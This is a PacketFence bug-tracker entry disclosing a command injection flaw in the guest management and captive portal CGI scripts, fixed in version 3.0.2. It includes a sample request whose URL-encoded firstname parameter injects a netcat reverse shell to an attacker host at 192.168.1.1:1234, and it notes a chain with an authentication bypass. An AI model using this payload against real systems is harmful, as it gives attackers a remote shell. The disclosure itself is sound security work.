PacketFence - BTS - PacketFence |
View Issue Details |
|
ID | Project | Category | View Status | Date Submitted | Last Update |
0001295 | PacketFence | security | public | 2011-10-03 12:13 | 2011-10-24 20:17 |
|
Reporter | mattd | |
Assigned To | obilodeau | |
Priority | normal | Severity | major | Reproducibility | always |
Status | closed | Resolution | fixed | |
Platform | | OS | | OS Version | |
Product Version | devel | |
Target Version | 3.0.2 | Fixed in Version | 3.0.2 | |
fixed in git revision | |
fixed in mtn revision | 92f9741dafd035ed1617b8ebb8d6a467cb0f1edb |
|
Summary | 0001295: Command injection in guest management and captive portal web interfaces |
Description | In both the guest management (html/admin/guest-management.cgi) and captive portal (html/captive-portal/guest-selfregistration.cgi) web interfaces, shell command lines are constructed using several session parameters, which are then passed to the pf_run function for execution. However, these are not escaped, allowing an attacker to execute arbitrary commands on the system.
The existence of this vulnerability in the guest management interface would not normally be such an issue, however the authentication bypass described in bug 1294 allows the vulnerability to be exposed by an attacker for exploitation. |
Steps To Reproduce | |
Additional Information | A sample request, triggering the injection and making the server create a reverse shell to the attacker listening on 192.168.1.1:1234 (assuming netcat is installed on the server):
guest-selfregistration.cgi?mode=guest-register&by_email=1&firstname=%22%27%3bnc%20-c%27sh%202%3E%261%27%20192.168.1.1%201234%20%23&lastname=x&email=x@example.com&phone=1&aup_signed=1
|
Tags | No tags attached. |
Relationships | related to | 0001308 | closed | obilodeau | guest access by sms doesn't record firstname, lastname |
|
Attached Files | security-fix-1295-command-injection.patch (9,249) 2011-10-13 13:44 https://www.packetfence.org/bugs/file_download.php?file_id=112&type=bug |
|
Issue History |
Date Modified | Username | Field | Change |
2011-10-03 12:13 | mattd | New Issue | |
2011-10-06 11:47 | obilodeau | Status | new => assigned |
2011-10-06 11:47 | obilodeau | Assigned To | => obilodeau |
2011-10-13 13:44 | obilodeau | File Added: security-fix-1295-command-injection.patch | |
2011-10-13 13:56 | obilodeau | mtn revision | => 92f9741dafd035ed1617b8ebb8d6a467cb0f1edb |
2011-10-13 13:56 | obilodeau | Note Added: 0002342 | |
2011-10-13 13:56 | obilodeau | Status | assigned => resolved |
2011-10-13 13:56 | obilodeau | Fixed in Version | => +1 |
2011-10-13 13:56 | obilodeau | Resolution | open => fixed |
2011-10-13 13:57 | obilodeau | Relationship added | related to 0001308 |
2011-10-17 10:40 | obilodeau | Note Added: 0002366 | |
2011-10-24 16:45 | obilodeau | View Status | private => public |
2011-10-24 20:15 | obilodeau | Target Version | => 3.0.2 |
2011-10-24 20:15 | obilodeau | Note Added: 0002383 | |
2011-10-24 20:16 | obilodeau | Status | resolved => closed |
2011-10-24 20:17 | obilodeau | Fixed in Version | +1 => 3.0.2 |